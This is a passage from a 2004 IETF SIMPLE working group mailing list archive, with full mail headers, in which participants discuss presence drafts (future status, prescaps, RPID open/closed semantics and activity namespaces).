during the meeting today because of the compressed schedule, but are we =
really happy with using absolute time stamps? I'm a bit worried about =
using them when we've gone back and gotten rid of them elsewhere in the =
protocol. Am I just being paranoid?</FONT></P>

<P><FONT SIZE=3D2>Regards,</FONT>
</P>

<P><FONT SIZE=3D2>Brian</FONT>
</P>

<P><FONT SIZE=3D2>-----Original Message-----</FONT>
<BR><FONT SIZE=3D2>From: Jonathan Rosenberg [<A =
HREF=3D"mailto:jdrosen@dynamicsoft.com">mailto:jdrosen@dynamicsoft.com</=
A>]</FONT>
<BR><FONT SIZE=3D2>Sent: Monday, March 01, 2004 9:09 AM</FONT>
<BR><FONT SIZE=3D2>To: Paul Kyzivat</FONT>
<BR><FONT SIZE=3D2>Cc: Simple WG</FONT>
<BR><FONT SIZE=3D2>Subject: Re: [Simple] Comments on =
draft-ietf-simple-future</FONT>
</P>
<BR>
<BR>
<BR>

<P><FONT SIZE=3D2>Paul Kyzivat wrote:</FONT>
</P>

<P><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; Jonathan Rosenberg wrote:</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt;&gt;&gt;&nbsp; Future status cannot be expressed =
with &lt;tuples&gt; elements with</FONT>
<BR><FONT SIZE=3D2>&gt;&gt;&gt;&nbsp;&nbsp;&nbsp; optional extensions =
since PIDF parsers would not be able to</FONT>
<BR><FONT SIZE=3D2>&gt;&gt;&gt;&nbsp;&nbsp;&nbsp; distinguish current =
from future or past information.</FONT>
<BR><FONT SIZE=3D2>&gt;&gt;</FONT>
<BR><FONT SIZE=3D2>&gt;&gt;</FONT>
<BR><FONT SIZE=3D2>&gt;&gt;</FONT>
<BR><FONT SIZE=3D2>&gt;&gt; I think you mean &lt;tuple&gt; elements. In =
any case, this text is not quite </FONT>
<BR><FONT SIZE=3D2>&gt;&gt; right. You are in fact extending =
&lt;tuple&gt; with an optional extension, </FONT>
<BR><FONT SIZE=3D2>&gt;&gt; &lt;future-status&gt;. What I think you =
mean is that you cannot just extend </FONT>
<BR><FONT SIZE=3D2>&gt;&gt; an existing element, like &lt;activity&gt;, =
with attributes that define the </FONT>
<BR><FONT SIZE=3D2>&gt;&gt; future status, because these would not be =
understood and thus </FONT>
<BR><FONT SIZE=3D2>&gt;&gt; misinterpreted as current status.</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; Not only can't, but don't want to. The goal is =
to provide a way to use </FONT>
<BR><FONT SIZE=3D2>&gt; all the normal attributes that define current =
status to define future </FONT>
<BR><FONT SIZE=3D2>&gt; status as well. So the goal is to provide a =
separate context in which </FONT>
<BR><FONT SIZE=3D2>&gt; the existing elements may be used where they =
won't be misunderstood by </FONT>
<BR><FONT SIZE=3D2>&gt; those who don't understand this =
extension.</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt;&gt; Unfortunately, the nature of the schemas is =
that the new one cannot </FONT>
<BR><FONT SIZE=3D2>&gt;&gt; say where in the PIDF document this is =
supposed to go. You need to </FONT>
<BR><FONT SIZE=3D2>&gt;&gt; specify that this element MUST be a child =
of &lt;tuple&gt;. Also, can you </FONT>
<BR><FONT SIZE=3D2>&gt;&gt; have more than one (I think so)? In that =
case, can they represent </FONT>
<BR><FONT SIZE=3D2>&gt;&gt; overlapping times (I think so)?</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; That is an ugly case, because when there is an =
overlap, which takes </FONT>
<BR><FONT SIZE=3D2>&gt; precedence?</FONT>
</P>

<P><FONT SIZE=3D2>I had in mind cases where the attributes in the =
overlapping time-spaces </FONT>
<BR><FONT SIZE=3D2>themselves did not overlap, e.g., i was &lt;busy&gt; =
from 10am-11am and &lt;in a </FONT>
<BR><FONT SIZE=3D2>meeting&gt; from 1030am to noon.</FONT>
</P>

<P><FONT SIZE=3D2>I suppose we could just mandate that the PA only =
generate notifications </FONT>
<BR><FONT SIZE=3D2>with non-overlapping intervals. This forces the PA =
to do any kind of </FONT>
<BR><FONT SIZE=3D2>precedence computations. I think the PA is the only =
one that can do it.</FONT>
</P>

<P><FONT SIZE=3D2>-Jonathan R.</FONT>
</P>
<BR>
<BR>

<P><FONT SIZE=3D2>-- </FONT>
<BR><FONT SIZE=3D2>Jonathan D. Rosenberg, =
Ph.D.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp; 600 Lanidex Plaza</FONT>
<BR><FONT SIZE=3D2>Chief Technology =
Officer&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Parsippany, NJ =
07054-2711</FONT>
<BR><FONT SIZE=3D2>dynamicsoft</FONT>
<BR><FONT =
SIZE=3D2>jdrosen@dynamicsoft.com&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp; FAX:&nbsp;&nbsp; (973) 952-5050</FONT>
<BR><FONT SIZE=3D2><A HREF=3D"http://www.jdrosen.net" =
TARGET=3D"_blank">http://www.jdrosen.net</A>&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp; PHONE: (973) 952-5000</FONT>
<BR><FONT SIZE=3D2><A HREF=3D"http://www.dynamicsoft.com" =
TARGET=3D"_blank">http://www.dynamicsoft.com</A></FONT>
</P>

<P><FONT =
SIZE=3D2>_______________________________________________</FONT>
<BR><FONT SIZE=3D2>Simple mailing list</FONT>
<BR><FONT SIZE=3D2>Simple@ietf.org</FONT>
<BR><FONT SIZE=3D2><A =
HREF=3D"https://www1.ietf.org/mailman/listinfo/simple" =
TARGET=3D"_blank">https://www1.ietf.org/mailman/listinfo/simple</A></FON=
T>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01C3FFA8.DED903FE--

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From simple-admin@ietf.org  Mon Mar  1 11:42:12 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA18768
	for <simple-archive@ietf.org>; Mon, 1 Mar 2004 11:42:11 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxqGH-0003eK-00
	for simple-archive@ietf.org; Mon, 01 Mar 2004 11:27:21 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AxqDi-0002Tt-00
	for simple-archive@ietf.org; Mon, 01 Mar 2004 11:24:43 -0500
Received: from [65.246.255.50] (helo=mx2.foretec.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxqAz-0001Vs-00; Mon, 01 Mar 2004 11:21:53 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by mx2.foretec.com with esmtp (Exim 4.24)
	id 1Axpw2-0000nF-To; Mon, 01 Mar 2004 11:06:27 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Axpvu-0002ey-8A; Mon, 01 Mar 2004 11:06:18 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxpvV-0002Lr-Va
	for simple@optimus.ietf.org; Mon, 01 Mar 2004 11:05:54 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA13789
	for <simple@ietf.org>; Mon, 1 Mar 2004 11:05:47 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axpim-0007m6-00
	for simple@ietf.org; Mon, 01 Mar 2004 10:52:44 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AxpXG-0003np-00
	for simple@ietf.org; Mon, 01 Mar 2004 10:40:53 -0500
Received: from [63.113.44.69] (helo=mail3.dynamicsoft.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axp7T-0004F6-00
	for simple@ietf.org; Mon, 01 Mar 2004 10:14:12 -0500
Received: from dynamicsoft.com (dyn-tx-app-004.dfw.dynamicsoft.com [63.110.3.2])
	by mail3.dynamicsoft.com (8.12.8/8.12.1) with ESMTP id i21FDlNr011421;
	Mon, 1 Mar 2004 10:13:48 -0500 (EST)
Message-ID: <40435315.4080509@dynamicsoft.com>
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
Organization: dynamicsoft
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6) Gecko/20040113
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: mikko.lonnfors@nokia.com
CC: simple@ietf.org
Subject: Re: [Simple] comments on prescaps
References: <0C1353ABB1DEB74DB067ADFF749C4EEF01C1DD8E@esebe004.ntc.nokia.com>
In-Reply-To: <0C1353ABB1DEB74DB067ADFF749C4EEF01C1DD8E@esebe004.ntc.nokia.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Mon, 01 Mar 2004 10:13:25 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit

inline; we didnt cover this during the meeting.

mikko.lonnfors@nokia.com wrote:

> Hi,
> 

>>>5. Generating SIP request based on 'prescaps' extension
>>>
>>>   UA receiving PIDF documents with 'prescaps' extension may wish to
>>>   generate SIP request which would route to UA having capabilities
>>>   described by 'prescaps' extension. UA MAY add
>>
>>Accept-Contact: header
>>
>>>   based on 'prescaps' extension elements. However, as discussed in
>>>   Section 4 device capabilities described by this
>>
>>extension may not be
>>
>>>   consistent what UA has indicated in its registration. Due to this
>>>   request may not route to correct UA.
>>
>>It should not be necessary, in fact, to do this at all. The
>>contact URI 
>>should route you to a UA that has these capabilities.
> 
> 
> Are you saying that adding Accept-Contact: doesn't make any difference
> in proxies in case there exists multiple UAs for a single AoR? 
> But in any case you are right that contact URI should route to correct
> UA.

My point is that its redundant. The definition, I think, of the contact 
URI is that it routes to something with the advertised capabilities. I 
should not have to use caller prefs to route to a device described by 
the tuple.

-Jonathan R.


-- 
Jonathan D. Rosenberg, Ph.D.                600 Lanidex Plaza
Chief Technology Officer                    Parsippany, NJ 07054-2711
dynamicsoft
jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
http://www.jdrosen.net                      PHONE: (973) 952-5000
http://www.dynamicsoft.com

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From simple-admin@ietf.org  Mon Mar  1 11:42:19 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA18892
	for <simple-archive@ietf.org>; Mon, 1 Mar 2004 11:42:18 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxqG3-0003Yn-00
	for simple-archive@ietf.org; Mon, 01 Mar 2004 11:27:07 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AxqDO-0002Q9-00
	for simple-archive@ietf.org; Mon, 01 Mar 2004 11:24:24 -0500
Received: from [65.246.255.50] (helo=mx2.foretec.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxqAw-0001P6-01; Mon, 01 Mar 2004 11:21:50 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by mx2.foretec.com with esmtp (Exim 4.24)
	id 1Axpwf-0000oa-Bk; Mon, 01 Mar 2004 11:07:05 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Axpwd-0002x7-FZ; Mon, 01 Mar 2004 11:07:03 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Axpve-0002Pg-Ky
	for simple@optimus.ietf.org; Mon, 01 Mar 2004 11:06:03 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA13909
	for <simple@ietf.org>; Mon, 1 Mar 2004 11:05:55 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxphT-0007L7-00
	for simple@ietf.org; Mon, 01 Mar 2004 10:51:23 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AxpSe-0002Ly-00
	for simple@ietf.org; Mon, 01 Mar 2004 10:36:08 -0500
Received: from [63.113.44.69] (helo=mail3.dynamicsoft.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axp0f-0002i6-00
	for simple@ietf.org; Mon, 01 Mar 2004 10:07:09 -0500
Received: from dynamicsoft.com (dyn-tx-app-004.dfw.dynamicsoft.com [63.110.3.2])
	by mail3.dynamicsoft.com (8.12.8/8.12.1) with ESMTP id i21F6dNr011414;
	Mon, 1 Mar 2004 10:06:40 -0500 (EST)
Message-ID: <4043516C.8080704@dynamicsoft.com>
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
Organization: dynamicsoft
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6) Gecko/20040113
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Paul Kyzivat <pkyzivat@cisco.com>
CC: Simple WG <simple@ietf.org>
Subject: Re: [Simple] comments on draft-ietf-simple-rpid (long)
References: <4041F046.7050207@dynamicsoft.com> <4042B316.4050104@cisco.com>
In-Reply-To: <4042B316.4050104@cisco.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Mon, 01 Mar 2004 10:06:20 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit



Paul Kyzivat wrote:

> Jonathan,
> 
> You really went thru this with a fine toothed comb! I have a couple of 
> comments below.
> 
>     Thanks,
>     Paul
> 
> Jonathan Rosenberg wrote:
> 
>>
>>> 3. The Meaning of "open" and "closed"
>>>
>>>    PIDF describes the basic status values of "open" or "closed" only as
>>>    "have meanings of general availability for other communications
>>>    means". We define "closed" in our context as meaning that
>>>    communication to the contact address will in all likelihood not
>>>    succeed, is undesired or will not reach the intended party.  (For
>>>    example, a presentity may include a hotel phone number as a contact.
>>>    After check-out, the phone number will still ring, but reach the
>>>    chambermaid or the next guest.  Thus, it would be declared "closed".)
>>>    For "pres" contacts, "closed" means that no presence status
>>>    information is available.
>>
>>
>>
>> I think this text is useful - I'm just not sure it belongs here. I 
>> suspect that it is, at this time, more appropriately located in:
>>
>> http://www.ietf.org/internet-drafts/draft-sparks-simple-pdoc-usage-00.txt
> 
> 
> The meaning of open and closed in pidf is normative. If we need to 
> extend the definition of open and closed, then it needs to be in a 
> normative document. The pdoc-usage document won't be normative, so it 
> can't be the right place.

I dont agree. I dont think the text above is changing the normative 
behavior, its merely expanding on its usage to make it clear.

-Jonathan R.


-- 
Jonathan D. Rosenberg, Ph.D.                600 Lanidex Plaza
Chief Technology Officer                    Parsippany, NJ 07054-2711
dynamicsoft
jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
http://www.jdrosen.net                      PHONE: (973) 952-5000
http://www.dynamicsoft.com

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Mon Mar  1 11:42:33 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA19151
	for <simple-archive@odin.ietf.org>; Mon, 1 Mar 2004 11:42:31 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxqUU-0007Se-KK
	for simple-archive@odin.ietf.org; Mon, 01 Mar 2004 11:42:02 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i21Gg2m8028663
	for simple-archive@odin.ietf.org; Mon, 1 Mar 2004 11:42:02 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxqUT-0007S5-TD
	for simple-web-archive@optimus.ietf.org; Mon, 01 Mar 2004 11:42:01 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA18514
	for <simple-web-archive@ietf.org>; Mon, 1 Mar 2004 11:41:56 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxqIu-0004IS-00
	for simple-web-archive@ietf.org; Mon, 01 Mar 2004 11:30:04 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AxqHY-0003wm-00
	for simple-web-archive@ietf.org; Mon, 01 Mar 2004 11:28:41 -0500
Received: from [65.246.255.50] (helo=mx2.foretec.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxqFZ-0003KW-00; Mon, 01 Mar 2004 11:26:37 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by mx2.foretec.com with esmtp (Exim 4.24)
	id 1AxqFZ-0001Pv-BO; Mon, 01 Mar 2004 11:26:37 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxqF9-00060L-Nm; Mon, 01 Mar 2004 11:26:11 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxqEV-0005nQ-VG
	for simple@optimus.ietf.org; Mon, 01 Mar 2004 11:25:32 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA16685
	for <simple@ietf.org>; Mon, 1 Mar 2004 11:25:26 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axq2Y-0007Z1-00
	for simple@ietf.org; Mon, 01 Mar 2004 11:13:10 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Axpza-0006eO-00
	for simple@ietf.org; Mon, 01 Mar 2004 11:10:07 -0500
Received: from mail1.dynamicsoft.com ([63.113.40.10] helo=mail2.dynamicsoft.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxpvR-0004gV-00
	for simple@ietf.org; Mon, 01 Mar 2004 11:05:49 -0500
Received: from DYN-EXCH-01.dynamicsoft.com (dyn-exch-001b [63.113.44.8])
	by mail2.dynamicsoft.com (8.12.8/8.12.8) with ESMTP id i21G5HlO004289
	for <simple@ietf.org>; Mon, 1 Mar 2004 11:05:17 -0500 (EST)
Received: from dynamicsoft.com (NJ-AKRISTENSEN2 [63.113.46.85]) by DYN-EXCH-01.dynamicsoft.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13)
	id 10KYPHN3; Mon, 1 Mar 2004 11:05:13 -0500
Message-ID: <40435F39.6060904@dynamicsoft.com>
From: Anders Kristensen <akristensen@dynamicsoft.com>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6) Gecko/20040113
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
CC: Simple WG <simple@ietf.org>
Subject: activity namespaces [was: Re: [Simple] comments on draft-ietf-simple-rpid
 (long)]
References: <4041F046.7050207@dynamicsoft.com>
In-Reply-To: <4041F046.7050207@dynamicsoft.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Mon, 01 Mar 2004 11:05:13 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit



Jonathan Rosenberg wrote:
>> Communities of interest such as a profession or an
>>    organization may define additional activity labels for their internal
>>    use.
> 
> 
> If so, don't we introduce the possibility of name collisions? If you 
> really want this, you might need to do something like:
> 
> org.dancers-of-america.square-dancing
> 
> i.e, us some kind of vendor prefix.
> 
> But, I'd rather not do that, since we introduce yet another namespace 
> management when we have a fine one in the form of XML. I'd rather allow 
> only values defined from the ietf controlled registry.

I don't see how <activity> values (which is character content) can be 
made extensible with XML based mechanisms alone, at least not in its 
current form. If you want to publish a pidf/rpid doc with 
<rs:activity>square-dancing</rs:activity>, how do you indicate that the 
"square-dancing" value belongs to some non-rpid XML namespace (say 
http://dancers-of-america.org/)?

Maybe having an additional level of elements, as in

<presence xmlns="urn:ietf:params:xml:ns:pidf"
     xmlns:rs="urn:ietf:params:xml:ns:pidf:rpid-status"
     xmlns:doa="http://dancers-of-america.org/"
     entity="pres:someone@example.com">
   ...
     <rs:activity>
       <doa:activity>square-dancing</doa:activity>
     </rs:activity>

would work although it seems like rather a lot of machinery. Is this 
what you had in mind?

Anders


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From exim@www1.ietf.org  Mon Mar  1 11:42:33 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA19143
	for <simple-archive@odin.ietf.org>; Mon, 1 Mar 2004 11:42:30 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxqUU-0007S9-0n
	for simple-archive@odin.ietf.org; Mon, 01 Mar 2004 11:42:02 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i21Gg143028632
	for simple-archive@odin.ietf.org; Mon, 1 Mar 2004 11:42:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxqUS-0007Qw-Nt
	for simple-web-archive@optimus.ietf.org; Mon, 01 Mar 2004 11:42:00 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA18485
	for <simple-web-archive@ietf.org>; Mon, 1 Mar 2004 11:41:54 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxqJJ-0004M2-00
	for simple-web-archive@ietf.org; Mon, 01 Mar 2004 11:30:29 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AxqI2-00044s-00
	for simple-web-archive@ietf.org; Mon, 01 Mar 2004 11:29:12 -0500
Received: from [65.246.255.50] (helo=mx2.foretec.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxqGK-0003ff-00; Mon, 01 Mar 2004 11:27:24 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by mx2.foretec.com with esmtp (Exim 4.24)
	id 1AxqGL-0001Rv-Pg; Mon, 01 Mar 2004 11:27:26 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxqFy-0006SX-Uw; Mon, 01 Mar 2004 11:27:02 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxqF5-0005yi-3o
	for simple@optimus.ietf.org; Mon, 01 Mar 2004 11:26:07 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA17184
	for <simple@ietf.org>; Mon, 1 Mar 2004 11:26:02 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxpxH-0005xr-00
	for simple@ietf.org; Mon, 01 Mar 2004 11:07:43 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AxprC-00039w-00
	for simple@ietf.org; Mon, 01 Mar 2004 11:01:29 -0500
Received: from [63.113.44.69] (helo=mail3.dynamicsoft.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axpji-00009D-00
	for simple@ietf.org; Mon, 01 Mar 2004 10:53:42 -0500
Received: from dynamicsoft.com (dyn-tx-app-004.dfw.dynamicsoft.com [63.110.3.2])
	by mail3.dynamicsoft.com (8.12.8/8.12.1) with ESMTP id i21FqaNr011447;
	Mon, 1 Mar 2004 10:52:37 -0500 (EST)
Message-ID: <40435C31.1050505@dynamicsoft.com>
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
Organization: dynamicsoft
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6) Gecko/20040113
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Henning Schulzrinne <hgs@cs.columbia.edu>
CC: Simple WG <simple@ietf.org>
Subject: Re: [Simple] comments on draft-ietf-simple-rpid (long) - activity
References: <4041F046.7050207@dynamicsoft.com> <40427C5A.7020204@cs.columbia.edu>
In-Reply-To: <40427C5A.7020204@cs.columbia.edu>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Mon, 01 Mar 2004 10:52:17 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit

inline.

Henning Schulzrinne wrote:


>>> Depending on the presentity intent, all but the "available"
>>>    indication can be used with either status OPEN or CLOSED.
>>>
>>>    Available: The presentity is available for communication.
>>
>>
>>
>> indeed - what is the difference between <available> and open?
> 
> 
> I'm not sure this is useful; it was meant to allow inclusion of the 
> 'activity' even if there was no other activity to report.

I dont see value in that; I would propose to remove it.

> 
> 
>>
